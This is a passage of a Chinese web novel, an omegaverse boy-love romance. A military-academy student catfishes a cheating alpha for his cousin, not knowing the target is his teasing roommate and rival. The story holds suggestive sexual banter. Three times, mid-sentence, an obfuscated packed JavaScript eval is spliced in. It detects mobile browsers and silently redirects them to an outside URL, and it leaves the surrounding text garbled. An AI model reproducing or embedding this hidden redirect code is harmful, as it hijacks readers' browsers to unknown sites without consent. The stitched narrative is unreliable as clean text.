《装Omega网恋包翻车的》 1. 报道日 “时言同学,你的体检结果是[无明显分化性征],可能是腺体发育迟缓的缘故,这个病有概率一辈子不会分化,也就是说,等同于beta,但不致命。” 时言捏着体检单,盯着[不会致命]四个字看。 医生温柔地看了眼前少年一眼,孩子一副面无表情的样子,好像很伤心的样子,贴心地说了一句:“没关系的孩子,当beta也没什么不好,你这样的病虽然是千万分之一,但也不是没有,在我们军校,还有一个同学也是这个病,叫陆枭,也是你们单兵作战系的,你认识吗?” 时言舔了一下干巴巴的嘴唇,抬眼,眉锋压眼,“认识。” 医生笑了:“那太好了,你们可以交流一下病情,那孩子我见过,和你差不多反应,长得和你一样帅。” 眼前的少年黑发微微有点乱,垂落在白皙的额头,但又很有美感,一张很英俊的脸,矜贵,肃冷,或者说是有一点狂妄的,制服只扣了一半,黑色皮质手套也只戴了一只,露出一只手,修长的手指玉质一般颜色。 但是少年手臂的肌肉是薄肌那种,蕴藏着力量,大概是在说少年这幅俊朗外表下,隐藏的极深的绝对实力吧。 毕竟时言长了一张校霸的脸,脾气不是很好的样子。 时言拿起报告单,站起身,高挑的身材挡住了窗外半边阳光,“谢谢医生,那我先走了。” 医生喊住他:“诶,同学,我还没开药呢!” 时言没有回头,低声说:“不是不致命吗?那就没事,您说的对,当beta也没什么不好,我对当omega没兴趣,alpha也没兴趣,我先回寝室收拾行李了。” 时言出了医务楼,低着头往外走。 路过的同学都在往里进,就他逆行。 所有同学都在看他,时言戴上耳机,扭头看窗外的飞鸟,假装自己一点也不尴尬。 确实,时言有点社恐,从小到大看他的人特别多,跟看猴儿似的,导致他不太喜欢和人直视,当然也惹出不少误会,别人都说他太高傲,时言没解释过,好在也没耽误正常生活。 毕竟他就是个普通直男,没什么特别的。 这里是赫墨斯军事学院,今天是正式开学的前一天,各大星区的同学来报名,第一件事就是做体检,按性别分寝室,到处都喧嚣热闹,社团招新来拉他,他摆摆手拒绝了。 看着他走远,大家一副很可惜的样子。 “有一种乡愁,是帅哥是不解风情的beta。” “beta很好啊,我就喜欢温柔体贴的beta,耐.操,被alpha咬脖子之后,感觉自己下一秒就要喂奶了。” “等等,他好像就是那个时言?” “时言?真的吗!” …… 时言走远了,仍然在自卑中。 他作为一年级生,新生入学第一天,就得知了那个残酷的事实。 他,有病。 但其实他上学之前就知道,初中的时候,其他同学都差不多少分化成ABO三种性别了,就他腺体还没味儿,后来爸妈一合计,既然不是O,就给他送军校去吧。 时言觉得挺好。 omega都太软了,大部分都待在保护区里,只有一小部分omega会选择读军校。 比如他表妹,是个女性omega,成天待在保护区里,完全不知道世上渣男多,刚谈恋爱就被骗了感情,生日聚会那天抱着他哭,时言搂着柔弱的表妹,心疼死了。 然后他表妹就出了个损招儿:“哥,你替我报仇!” 时言当时也没多想,“你想把他打成什么形的?” 表妹看了眼他哥,他哥180,宽肩窄腰大长腿,肤白貌美…嗯,反正是帅哥中的帅哥,当即梨花带雨地说:“那便宜他了,我要你装女omega,骗他感情,再狠狠甩了他,让他也体会一下什么是心痛!” 时言:“……” 时言:“妹妹,就算omega也不可以这么心软。” 但是表妹表示:自己身为可可爱爱没有脑袋的小omega,想到要骗感情已经是很恶毒了。 时言没办法,只能答应。 然后他就加了那个渣男的TT软件,这个就是一款古早社交软件,现在基本没人用,但是时言小学时候还用过,所以有号。 表妹给了时言一个TT号。 时言先把自己的性别改成[女性,omega],然后时言输入号码,一点开加好友,觉得不对:“是系统灰色头像,而且没有个人信息,你确定没错?” 表妹:“没错,而且他就说他叫二少,我不知道他的真实姓名,但是我有照片,他可帅了,你看!” 时言一看,苦笑,“妹妹,这不是网图吗?” 表妹:“他声音还好听呢,身材也好,八块腹肌!身高至少185!他还告诉我,他上个女omega朋友就是黑长直,大长腿,大胸翘臀,如果他不帅,人家会看上他吗?” 时言哭笑不得:“答应我,下次找对象,联邦分配的最靠谱。” 不管怎么说,他既然答应了,就会帮忙,虽然没有黑长直和大胸翘臀,但是有大长腿也能凑合。 时言:“但是我有一个要求。” 表妹很狗腿:“请讲!” 时言很严肃:“这事儿不能告诉陆枭,否则他肯定笑话我一辈子。” 表妹很傻很天真地说:“陆哥是好人啊,怎么会笑话你?” 时言只发了两个字:“呵呵。” 陆枭是时言发小,一个小学,一个初中,然后保送来赫墨斯军事学院的。 时言入学考试的时候理论课考了第一,实战演练也考了第一,但是放榜时,他排第二。 因为第一是陆枭,他有保送分。 这不公平! 于是时言单方面看陆枭不顺眼,而且陆枭也不见得多待见他,这次开学,他们俩也不是坐同一趟星舰来的。 时言回到宿舍楼。 军校有三个宿舍区,分为A、B、O,他住在B区11号楼,那里都是beta。 这个学校就两个系,一个单兵作战系,一个指挥系,他是单兵作战系,住四人间。 指挥系好一点,因为人少,而且有零星几个omega,所以是单间。 上了四楼,时言打开宿舍门,屋里就两个人。 一个戴眼镜的奶白皮小男生很腼腆地说:“你就是时言吧?你好,我叫柚木叶,我是银都地区来的。” 另一个是小麦色皮肤的男生,眉骨很深邃,肌肉很结实,很标准的星港地区帅哥长相,他笑着说:“我叫莱厄斯。” 时言也自我介绍了一下:“我是雪海地区的,名字是时言。” 柚木叶打量了一下四个宿舍床:“好像陆枭还没有来?” 莱厄斯说:“哦,我看见他了,他第一个就到寝室了,现在不知道去哪了。” 陆枭? 时言终于注意到了隔壁床就是陆枭。 天塌了。 时言只能劝自己:没办法,两个千分之一罕见病人,还成绩差不多,住在一间屋里是很正常的事。 那就更得去学生公寓租一个单人间了! 他得替表妹骗渣男,住在宿舍也不方便,因为他买了一些…见不得人的情趣用品,还有性感内衣什么的… 时言恨不得把自己打死,当初为什么要答应表妹! 时言把行李简单收拾收拾,然后背上一个双肩包,对俩室友说:“那我也先走,晚上可能不回来,不用给我留门。” 军校每个同学的选课不同,上课时间也不同,所以一个寝室同学一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15358814|168052||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天天都见不着面很正常。 而且大家都是beta,根本就不存在A或O的信息素紊乱问题。 也就不存在同寝室搞对象的事。 柚木叶点点头,哦了一声,还拿出明天的课表:“时哥,我就叫你时哥吧,明天有学院招新仪式,早上九点,你记得去啊,别迟到了。” 时言说:“谢谢,我知道了。” 他也不知道怎么寒暄。 好在这俩室友都很热情,没挑他,而且莱厄斯看起来也挺靠谱的,还把寝室备用钥匙放在了门口的鞋架子底下,“万一你晚上回来,自己可以开门。” 时言点点头,很诚恳地说:“嗯,谢谢。” 莱厄斯一眼看出了他不善言辞,“别客气,以后有事尽管来麻烦我。” 时言嗯嗯地走了,莱厄斯还想说点什么,柚木叶说:“好啦,没看他不好意思了吗?快让他走吧。” 莱厄斯还没看出来时言哪里不好意思,柚木叶指了指耳朵,莱厄斯往走廊那头一看,才发现时言耳后一抹一闪而过的薄薄红晕。 莱厄斯无辜地说:“其实我是想说,他这个制服有点大,裤门拉链开了。” 那边,时言背着包,去了学生公寓,和门口的大爷办了入住申请手续,交了每月租金800星币,顺利拿到了公寓的号码牌。 又是四楼? 时言挑挑眉,有点巧,但是挺好记的。 到了四楼,刚进走廊,时言就看见了一个很不想看见的人。 陆枭。 他怎么也来租房? 不会是因为寝室里有自己吧? 时言硬着头皮走过去,打算跟陆枭来一个擦肩而过。 然而肩膀擦到的瞬间,一只骨骼分明、手背有青筋凸起、很好扎针的手伸了出来,迅速握住了时言的小臂。 时言眉心跳了跳,只好回过头,语气懒散,“你干嘛?” 对面男生挑起眉毛,“言言,过来点。” 他有着冷酷的五官,这个表情让他做起来,有种坏男孩的俊美。 时言立刻压低声音,咬牙切齿:“说过多少次,别叫我言言!” 陆枭笑了下,半颗虎牙露出,“过不过来?就说一遍,我耐心有限。” 时言承认陆枭长得好看,靠脸就能下海勾引别人再吃干抹净的那种,哪怕做错事,一撒娇,也能被心软原谅。 时言暗暗吐槽为什么陆枭没分化成O?富豪A都爱这款美少年,以前还有A追过他,当然结局是被他一顿揍。 可能是他爸陆上将太A了,看不得他儿子当O吧。 但是,这不耽误时言在心里狠狠把陆枭揉搓成一团面O! 时言硬着身子,没动。 就这么爷们儿。 但是陆枭伸出胳膊,长臂猿似的,习惯性捏着他后脖颈,给他搂了过来。 “说不听你了。” 时言浑身汗毛站立,弓腰一顿往后退,“别、碰、我!” 陆枭早防着他这一手,一条长腿直接把他别住。 “躲我?”似笑非笑的语气。 时言气呼呼地瞪他一眼,“陆枭,你到底有什么事非说不可?” 陆枭目光向下,看着他腰以下,“我只是想提醒你,你裤门开了,小言言裸奔一路了吧,不冷吗?” 时言一愣,紧接着陆枭的手就摸到了他的拉链。 时言的手下意识一捂,盖住了陆枭的手背。 陆枭手微微一动,时言的注意力瞬间转移到他手上。 嗯…他手皮肤滑滑的,指头带着薄茧,手背很骨感,手型很美。 …等等,这什么跟什么啊! 时言顿时脸红得不要不要的。 陆枭眸中划过一抹戏谑,在他耳边,憋着坏,拉长声音说:“哥给你拉上,不谢。” 2. 网恋吗 男生手的热度一靠近那脆弱地方,时言就想跑,奈何陆枭早就料到他有这一出,胳膊往下一压,时言就被勒住了肩膀。 时言艰难地说:“那里,不可以…” 陆枭眼皮都没抬:“别勾我。” 时言:? 我勾你什么? 然后陆枭骨节分明的手指捏住拉链锁头,快速地往上一拉,冰冷的金属擦过底裤的一瞬间,时言耳边就只剩下“呜呜呜”的忙音。 …脑瓜子嗡嗡的。 这辈子可能也就这样了。 时言绝望了,猛地一推陆枭,他劲儿大,陆枭高高瘦瘦一个男生就硬邦邦地砸在了墙上,墙都跟着一震,路过的同学立刻躲着走。 陆枭的五指张开,捂着胸口,歪着头,皱眉咳了咳:“…言仔,你这是谋杀。” 时言一愣,然后木了,“你别谦虚。” 他太知道了,陆枭看着瘦,全是肌肉,一身腱子肉特结实,徒手掰弯机甲侧方翼都不在话下,拿手好戏是机甲真人对抗,每次成绩都第一。 综上所述,他根本就不可能疼,百分百装的。 时言不自在地整理了下自己的制服衣服和裤子,嘴硬说:“你在公寓楼干嘛?” 陆枭说不出话,又咳了咳。 时言看了看他,怕他真撞骨折了,忍不住问:“陆枭,你没事吧?” “有事。”陆枭,“我疼死了。” 时言硬着头皮说:“那你把衣服脱了,我看看哪撞伤了。” 陆枭眼尾一垂,看上去要哭了,“在这里就脱吗,哥哥?” 时言咬了下嘴唇:“你、你别瞎叫啊你!要脱也回屋脱。” 他受不了别人叫他哥哥,尤其是从陆枭嘴里说出来。 因为陆枭比他大一岁,就问,哪个直男受的了被腻腻歪歪地语气叫哥哥啊? 陆枭微微低头凑近,轻声说:“回屋脱也行,你要睡的话,算你便宜点。” 时言:“……” 陆枭从小就是这样,只要一使坏,嘴上肯定叫哥哥,一旦时言放松警惕,这个狗就开始对他干一些不可描述的事。 包括但不限于打着兄弟的旗号摸他,搂他,扛他,抱他,拖着嗓子喊他言言,不管旁边有没有人,反正一定要把时言弄暴躁了,才心满意足地顺着毛捋,但是通常这种时候,时言都得给他点颜色瞧瞧。 所以时言烦他,特别烦他! 陆枭看见时言这个咬嘴唇的小动作,慵懒地倚在墙边,嘴角噙着一抹似有若无的坏笑:“紧张什么,怕我干你?” “……” 时言面无表情。 干架就说干架,说什么省略词? 死直男,你就应该是O。 烧O。 时言就静静站那跟陆枭耗。 陆枭的眼睛是深邃的琥珀色,带着一丝侵略性:“怎么,看我这么久,迷上我了?” 时言举起404号码牌,面无表情地说:“因为你挡了我的路,这是我租的房间。” 陆枭看了一眼房间号,确定是404,见好就收,居高临下地看着时言,碎发坠在额前,也没说话。 过了会儿,他也不知道是怎么回事,指腹就搭上了时言的手背,随后一手单手拢住了他两只手腕,另只手很随意地屈起手肘抵住房门,态度恶劣,极其挑衅。 时言抿了下唇:“……” 要干嘛? 陆枭的手指更粗糙,骨头更硬,从小就摸枪,微用着力,青筋凸起,威慑力极强。 而这个动作,时言只在单兵入学手册上看到。 胜利者对待俘虏时,单手甩手铐,束缚住对方两只手腕,然后把俘虏推倒,打开腿,卡进对方腿中间,就可以实行不可描述的折磨了。 时言顿时心里一阵不爽。 他们是死敌。 他又不是M。 陆枭声音略带一丝沙哑:“行了,我能收你的钱吗?我的身体,你免费看,看哪儿都不收费。” “……” 陆枭开口:“怎么不说话?” “免费的不是好东西。”时言翻了白眼,把他扒拉到一边去,用芯片刷开了门。 陆枭很自然地跟着就走进来了,反手把门一关,走到租房的小阳台边看风景,时言立刻闭了闭眼。 心里默念一百遍:咬人犯法,咬人会中毒,咬狗会被传染上疯病。 陆枭在阳光下回头看了一眼时言,重点看了看他的制服:“言言,你衣码大了,怎么不去换?” 时言不想回答这个问题:“关你什么事?” 陆枭很尖锐的指出:“你是不好意思给老师提要求吧?” 时言:“……” 讨厌,他真的很讨厌! 陆枭还真猜对了。 时言就是不好意思麻烦老师,才将就着穿大号制服。 这就是时言讨厌陆枭的原因之一。 陆枭虽然招人烦,但是很聪明,非常聪明。 从小到大他们俩都一个学校,所以时言很了解他,就算陆枭隔三差五就逃学,上课除了睡觉就是看书,路上见谁都冰块脸,不听老师话,但是各班老师一看到他成绩单的理论分和实践分那明晃晃的A,立刻就改口说自己班走丢了个学生叫陆枭。 但是陆枭就跟着时言,时言在哪班,他就在哪班,时言坐哪,同桌肯定是成天睡觉的陆枭。 时言最来气这个。 陆枭睡觉都保送联邦排第一的赫墨斯军校,时言就算考第一都被他压一头。 陆枭就和他俩这排名一样,一点边界感没有。 陆枭看时言不说话了,微微侧身,胳膊慵懒地搭在阳台的栏杆上:“言言,你为什么要租公寓?因为宿舍里有我吗?” 时言:“你不是也租公寓了?” 陆枭已经开始脱衣服了,拉链随意地拉着一半,露出里面白色T恤,下身搭配一条制服裤,脚蹬黑色军靴,听到时言问他,他说:“我不租,指导员让我来排查一下,班级里有谁是在外面租公寓住,备个案。” 时言一点也不意外:“指导员找你当班长?” “差不多。”陆枭把制服叠好,给时言:“我不巧拿了件小一点的,给你穿吧。” 时言接过来,看了一眼尺码,这么小? 不巧? “小一点”? 怎么可能! 时言和陆枭的身材比例差不多,但是陆枭更高,同样的衣服,陆枭穿着正好,他穿就会袖子盖住手背,而且陆枭肌肉明显一点,这制服对他来说可不是小一点。 被看透心思的感觉真是让人窒息。 时言憋着嘴,憋着气,只好把自己的制服脱了,老老实实换给陆枭。 陆枭一穿,对着镜子看看自己,“嗯哼,这回合适了。” 他看向时言,旧话重提:“那你是嫌弃我了,不想和我住一屋?” 时言嘴巴一下子就很干。 不能说是骗alpha网恋,那简直是面子扫地,而且陆枭一定笑话他一辈子! 想想就毛骨悚然。 时言强撑着尊严,用漫不经心的语气说:“我最近有流感,先自我隔离一段时间,你出去,唾沫也能传染。” 陆枭眼皮都没动一下,恹恹地说:“不亲嘴也能传染?” “……” 神经病。 “我关心室友,不如在你隔壁陪你。”陆枭起身,语气很平常地宣布了噩耗:“一直到你病好。” 时言:? 陆枭说着就抬起手腕,给门卫大爷打了个通讯,租了隔壁公寓,时言人都傻了,陆枭往门外走,突然想起什么:“言言,别关门,我去取个爱的号码牌。” 时言立刻就要关门,陆枭压低声音说:“敢关门,今晚就睡了你。” 直男开玩笑没边儿是吧! 时言头发炸开,“陆、枭!” 陆枭看上去还挺喜欢这种感觉的,勾唇一笑:“骂得真好听,再骂一声。” 这个M! 时言牙龈绷紧:“空气也能传染…” 陆枭笑的时候,还不忘挑一挑眉毛:“那不如亲一口。” 时言脑门青筋绷绷跳,赶快松开了他,陆枭身影消失在拐角。 时言无能狂怒半天,最后还是命苦地把自己行李收拾了,顺便把那些见不得人的情趣衣服藏起来。 这一顿操作,弄出了一身汗,就去洗了个澡。 陆枭回来的时候,只看见空荡荡的房间,浴室里哗啦啦的水声,预示着时言刚才累到了。 这家伙有洁癖,最讨厌别人碰他,像是怕被弄脏似的。 陆枭没打扰他,在桌子旁边的转椅上坐着等,顺便打开了TT软件,想问一下那个加自己的粉色蕾丝小猫耳头像是谁。 【不冻港:你好,你是?】 “叮!” 桌子上,时言智脑突然亮了。 陆枭皱了下眉,不笑的时候,男生的眉眼显现出了本来的冷峻轮廓,眼尾刀锋一样利。 陆枭拿起时言智脑,发现居然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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【各位单兵作战系的一年级同学,你们好,通知你们,明天九点招新仪式,结束后,进行为期一周的机甲作战训练课程,要带的装备有:防护服、护胸、护膝、护腕、头盔、万能手套、阻力靴,1:30之前,到西区12训练场集合。】 既然是系统群发的短信,就不需要在班级大群里回复收到,这简直太棒了。 【补充:机甲作战要选队友,今晚9点之前上报。】 还有一条消息,是柚木叶把他们四个拉进了寝室群。 【莱厄斯:我和柚木叶商量好了,他不擅长机甲作战,我不擅长操控指令,正好我俩一组,你俩呢?@时言@陆枭】 【柚木木:时哥和陆哥一组吧?我看大家都寝室内部消化了。】 这也没有选择的余地啊? 如果这时候还有一条边牧,时言肯定选边牧了。 时言硬着头皮回:【……行。】 陆枭也回:【我没意见。】 这是第一次,陆枭和他没站在对立面,而是当队友。 …行吧,反正陆枭很强。 时言不情不愿地打开了TT。 虽然不那么乐意吧,但他也是很敬业的,没有工资又怎样,打工人当牛马都是心甘情愿的! 啊…等等。 渣男回话了? 【渣男a:你好,你是?】 这是之前的消息。 但是大概五分钟之前又发了一条新的。 【渣男a:想交朋友,还是想处朋友?】 不愧是渣男,我呸! 时言心里唾弃渣男,也顺便唾弃了一下自己,但是一点也没耽误手指翻飞,在交流框里输入: 【想做哥哥的女O朋友。】 【网恋吗,哥哥?可盐可甜,风格你选!】 【我是初恋,就想尝尝恋爱的感觉。】 然后时言把智脑一扔,脸埋在手心里发出一阵呜呜咿咿的呜咽。 对不起对不起对不起谁让你是渣男我也不想骗你的! 那边,陆枭看着智脑,瞳孔宛如寒夜中的深潭,幽深得望不到底。 大概过了五分钟。 也就是差不多把时言在脑子里操了七八遍那样子。 陆枭冷着脸,回复:【那先看看腿?】 3. 坐一起 上来就看腿,不愧是渣男做派。 时言心虚地看了一眼窗外,事实上根本就没有无人机监控,他在瞎操心。 时言慢吞吞地把自己的腿露了出来。 他毕竟是男的,为了不穿帮,他刚才洗澡的时候顺便把腿毛也修掉了,他腿毛不重,但是离女孩子光滑细腻的腿肯定有差距,刮完之后才是真看不出来一点了,因为不太会用刮刀,还差点摔了一跤,磕到了膝盖。 时言举起智脑,找角度,别扭地拍了一张自己的腿。 就,很直男的拍摄方式,直愣愣地把腿照了进去,很平很直地搭在床边,膝盖还有点红肿,应该不耽误事。 时言发了过去。 过了会儿。 【渣男a:一般。】 时言:? 一般? 时言猛地看向自己的腿。 少年穿着简单的运动短裤,照片里露出的双腿白皙且匀称,笔直,而且比例完美,谈不上像少女一般柔软,但也不至于一般吧? 是拍摄角度不对吗? 还是故意刁难,不想答应网恋? 时言舔了下嘴唇,不耐烦了。 【渣男a:腿是很长,但是肉感不强,美感也一般。】 【渣男a:宝贝,动动脑子,好好想想怎么取悦我。】 时言咬着嘴唇,狠狠瞪着面前的聊天界面,仿佛要用眼神将对方千刀万剐。 还取悦你?狗渣男!以为自己是油王霸总?还真不愧是渣男alpha,一点也没崩人设啊。 但是…答应表妹的事就要做到啊… 时言挫败地揉了揉脸,努力挤出一个微笑,学着表妹的语气: 【小咪耳朵:嘤嘤嘤,哥哥不要生气,我第一次,没经验嘛。】 【小咪耳朵:那我再试试?】 【渣男a:嗯。】 时言颓废地趴在桌子上起不来,没精神,搓了搓脸,才坐起来。 到底该怎么拍啊?肉感…美感什么的,好像应该找一找参照物这样子。 时言红着脸,在网上找了一下照片,腿照真不少,有穿白色蕾丝透光丝袜的,还有穿黑色渔网露肉丝袜的,还有那种,把前面和后面都露出来的… 真是该藏起来的都露出来,该露出来的都藏起来啊。 时言得到了灵感,想了想,把柜子打开,找了一条早就买好了但是没穿过的丝袜,穿上了,重新坐在桌子前,静心拍了一张照,咬着牙发了过去。 【小咪耳朵:哥哥,这次你喜欢吗?】 … 陆枭脸上没有什么表情,点开图片。 少年穿了白丝,两条腿很瘦长,但是有一点肉,膝盖并拢在一起,大腿中间有一条很细的透光的缝。 只拍到了腿根,可能是怕露馅。 镜头的光圈之外还有一双脚,细细长长的,套上白丝后,脚趾显得圆圆的。 其实刚才那张才最好看。 少年的膝盖粉粉红红的,伸直了之后很明显的一块圆润,因为不加修饰,所以看上去很诱,又纯又奶。 但是打人的时候,拳头邦邦的。 【渣男a:好看,想掰。】 时言仔细地寻思着这句话,掰是什么意思? 但应该是满意的意思吧? 【小咪耳朵:那我们可以试试谈了吗?】 【渣男a:可以。】 时言还想等他说什么,但是等了很久,渣男不说话了。 大概今天都不能回话了。 时言把丝袜脱掉,小心叠起,藏在自己的衣柜大箱子里。 这个箱子是他的秘密百宝箱,藏着好多秘密,哪怕被发现一样,他就晚节不保。 但是不管怎么说,和渣A的网恋基础已经建立起来了,而且没被陆枭发现。 革命胜利第一步! 睡觉! - 招新仪式是早上九点,这会儿正热热闹闹地举行着。 足够容纳10万人的体育场馆内,beta们都坐在一起,没有人叽叽喳喳,全都打开手头的智脑,提前在校园网上学习机甲课程。 他们左边是alpha军校生,右边是omega军校生,beta就好像是alpha和omega之间的信息素抑制剂,硬是要在中间那么一横,像书梁。 仪式开始后,台下舞台上歌曲唱跳,台上alpha们在看omega,omega们在躲闪着目光,暗戳戳看回去。 beta们:“……” 节目挺好看的哈。 其实beta们也不想当障碍物的。 联邦管制下的军校纪律严格,几乎没有谈恋爱的机会,但是架不住信息素的致命吸引,一旦有一个omega发情,整个学校的alpha都要彻夜难眠,这群杀伤性武器在面对omega时攻击力很强,极其富有嫉妒心、侵略欲,他们精力充沛,甚至引发大规模混乱,所以学校严令禁止omega外泄信息素、alpha在公共场合要佩戴止咬器。 时言掐着点来的,默默无声地穿过alpha们。 不过好多alpha都在看他。 少年不像omega,很高,身形很优越,身姿挺拔,如松如柏,但是浑身散发着拒人千里的气场,习惯戴着一副黑手套,好像很讨厌与人接触。 白皙的脸上,桀骜的乌眸藏在漆黑睫毛后,高挺的鼻梁下,薄唇抿成一条线,是很难接触的那种高傲男生。 时言目视前方。 其实他内心已经濒临崩溃了! 他受不了那么多目光同时落在身上,这让他手脚都不知道怎么摆,感觉在学机器人走路,谁懂社恐的感受! 好在不远处,亲爱的柚木叶同学在朝时言招手,“时哥,坐这里,我占了座。” 时言如释重负地点点头,坐了过去。 莱厄斯在另一边沉稳冷静地学习,所以柚木叶说话也很小声:“时哥,你看,我在学《机甲战术》的第六节,这节课讲"在荒漠场景下运用机甲进行战斗,要配合冲锋枪射击",但是我不会用枪怎么办?枪好练吗?” 时言的理论课一向都是A,他把那些没用的理论摘除,只讲了有用的部分:“不好练,但是有快速掌握的方法,慢慢磨,你记住5个要领,正、握、定、抵、塌,还有,每次射击前,觇孔压住前护圈,准星位于中央点,实现三点一线准确瞄准,最后就是肌肉记忆训练,千百次重复练习抬枪、瞄准,很快就会了。” 莱厄斯这时候抬起头,对柚木叶说:“柚木同学,我可以教你。” 柚木叶本来听的一头雾水,脑袋一下子转过去,星星眼地看莱厄斯,“莱厄斯你太棒了!没有你我可怎么活啊!” 莱厄斯脸微微红了红,温和地指出:“不过《机甲设计原理》更适合你,这门课旨在了解机甲的构造和设计理念,以便更好地理解各类型机甲的性能和潜力,我可以负责作战的部分,给你充足的学习时间。” 柚木叶握拳怼了怼他的胸口,“那我就靠你了,好兄弟!” 趁着柚木叶和莱厄斯说话的功夫,时言悄悄在座位上打开智脑,打算在星网上找几本恋爱小说看。 时言随便点开了一本。 …年轻alpha的腹部肌群紧缩了一下,从下腹往上,绵延着蓬勃的生命力。 他很硬,很烫,很真实。 他撞到温柔隐忍的邻家omega哥哥… 时言专注地看。 这就是恋爱小说啊?好刺激! 柚木叶看了一眼,好心提醒:“时哥,你喜欢这种的啊?不好在这里看,万一被偷窥到会社死。” 时言迟疑地问:“那,这算是恋爱小说吗?” 柚木叶很认真地回答:“这肯定是恋爱小说啊,如果这都不算,那难道某绿色网站的清水文才算是恋爱小说吗?” 虽然时言都没看过,但柚木叶应该很靠谱,那多看点这种书,肯定就会谈恋爱了。 时言“嗯”了一声,“这样啊,那我回去看。” 柚木叶眨了眨眼睛:“记得把链接分享给我哦,我新换了智脑,以前的小说和漫画都没了,我好想念粉粉大乃和圣光笼罩的保温杯大几把哦。” 时言:? “其实我看小说漫画的口味很简单的,基本无雷点,无脑傻黄甜但是又有点萌的好磕类型最喜欢。” 柚木叶像一个专家,打开智脑,迅速推了一本过来,很激动:“这个这个,肉香扑鼻的剧情,关于我上了元帅这件事…” “还有这本,破镜重圆元素,这本我跟你讲最涩,啊啊啊那个星际人鱼,那个圣光大几把…” “涩涩涩!疯批大几把攻把手指大的小人鱼给养大,然后再用手指…**” 好陌生的语言,好陌生的剧情。 时言有点茫然地点开一本《我的高冷腹黑养父,小时候给我尿床换床单,长大了还是给我尿床换床单》 “时哥,回去再看。”柚木叶神秘地挤挤眼睛,推了推圆框眼镜,“以后多交流经验哈,别害羞,没事干咱们就聊聊小说和漫画。” 时言点点头,“谢谢你。” 柚木叶:“小事小事,同好难找啊,beta都特别禁欲来着,我是个例外,唉…哦对了时哥,你看到陆枭了吗?他怎么还没来?” 时言保留网页,关上智脑:“没有看到。难道他昨晚也没回寝室?” “没有啊,他说要陪病人,所以最近也不回来,”柚木叶看向另一边,“啊,好巧,陆哥来了,但是我没给陆哥留位置,今天早上他被老师叫走,我还以为他不来了。” 时言也跟着看过去。 陆枭从楼梯的另一端走上来,双腿笔直修长,被熨帖的制服裤包裹,线条流畅而利落,军靴一步步踩在地上。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15358816|168052||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有人上前搭话,他抬眸,目光淡淡扫过,简短回应后便又将视线移回通道。 “陆哥好冷,我不敢和他说话。”柚木叶小声说,“他像我漫画里那些一言不发掐腰就是做的alpha,把哭泣的小omega干到墙角,小O要跑的时候,他拖着脚踝给人家拽回来,冷着脸继续做的类型…虽然他是beta,但他挺A的。” 时言不自然地咳了咳。 太天真了,少年,你要是跟他熟了就知道,他是会在私下里黏黏糊糊叫哥哥的类型。 绝对不会是掐腰拖脚踝的那种。 陆枭灵活地绕过了同学们,来到了他们身边。 但是没有空位给他坐了。 时言装傻,把屁股焊在座位上没有动。 陆枭嘴角微微上扬,一只手随意插在裤兜,一只手扶住了时言的肩膀。 “时同学,我可以理解为,你在邀请我坐在你腿上吗?” 时言瞥了他一眼,没有灵魂地弯唇笑了一下。 陆枭不走,微抬下颌,“没地方坐了,大少爷,劳驾往旁边挪挪屁股,给我让个位置。” 时言不让,陆枭就往里挤。 最后还是坐在了一起。 柚木叶和莱厄斯都和他打了招呼,陆枭礼貌一笑,然后四个人一起看节目。 时言就很不自在。 他俩挤在一个座位上,陆枭的腿抵着他的腿,膝盖还很硬。 …他很硬,很烫… 等一下等一下。 什么东西乱入了脑袋? 时言晃了晃头,试图把恶魔赶出脑袋。 紧接着一只骨节微凉的大手覆盖上了他的后颈,漫不经心地掠过了那块没用的腺体。 “脑子里进东西了?” 时言缩了下脖子,转头,生气一样看着他,“别乱说,又没进你。” 陆枭很关心他的样子,薄薄的眼皮低垂,眼神将时言从头笼到脚。 好像瞄准了一只暴躁易怒的小兔子的猎人,要把小兔子赶地满山乱跑,欣赏够了,才悠哉地收网。 时言躲他半个肩膀远。 陆枭慢条斯理地说:“你说谎的时候会应激,一旦我说中了,你就用语言攻击我,心理学上讲,这叫自我防御机制,避免因为被揭露,产生不安、羞耻的负面情绪。” 时言被他说中了,气成刺豚。 就不能和陆枭这种人太熟,被他抓中弱点,就会被抵死了弱点,玩命进攻。 不论是对敌人还是对同学,陆枭都不是会留情面的性格,像疯狗,乘胜追击咬死不松口。 时言不想让他再瞎嚷嚷,忍辱负重地低声说:“反正我什么都没想,你别问了。” 陆枭微微往后仰了仰,眼神下垂,单手撑着脑袋,嘴角噙着一抹笑。 一副看穿他的表现。 时言心虚,咽了下口水。 喉结轻轻一滚。 “言言。” 懒洋洋的嗓音,有几分调侃的意思。 时言:! 又是这个昵称。 亲密,暧昧,从陆枭嘴里叫出来,就多了点不正经的散漫,吊儿郎当的,但又有种很有威慑力的低沉。 时言压低声音:“跟你说过多少次,别在外面叫!” 陆枭凑近他耳根,一副听进去了的样子,“哦,在哪儿能叫?” 尾音上扬,带着点期待。 时言耳朵发热,想躲。 